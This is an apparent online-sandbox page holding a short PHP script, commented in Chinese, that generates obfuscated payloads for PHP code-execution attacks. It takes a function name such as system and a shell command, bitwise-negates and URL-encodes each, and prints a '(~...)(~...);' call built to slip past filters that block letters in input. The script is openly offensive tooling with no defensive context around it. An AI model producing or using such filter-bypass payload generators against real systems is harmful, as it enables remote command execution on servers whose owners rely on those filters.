Hi! Could we please enable some services and cookies to improve your experience and our website?
Online Sandbox for SQL and PHP: Write, Run, Test, and Share SQL Queries and PHP Code
<?php
// 提示用户输入函数名
fwrite(STDOUT, '[+] your function: ');
// 获取⽤户输⼊的函数名,并移除换⾏符
$system = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
// 检查输入是否为空
if (empty($system)) {
fwrite(STDOUT, "Error: Function name cannot be empty.\n");
exit(1);
}
// 提示用户输入命令
fwrite(STDOUT, '[+] your command: ');
// 获取⽤户输⼊的命令,并移除换⾏符
$command = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
// 检查输入是否为空
if (empty($command)) {
fwrite(STDOUT, "Error: Command cannot be empty.\n");
exit(1);
}
// 输出按位取反后的 URL 编码结果
echo '[*] (~' . urlencode(~$system) . ')(~' . urlencode(~$command) . ');';
?>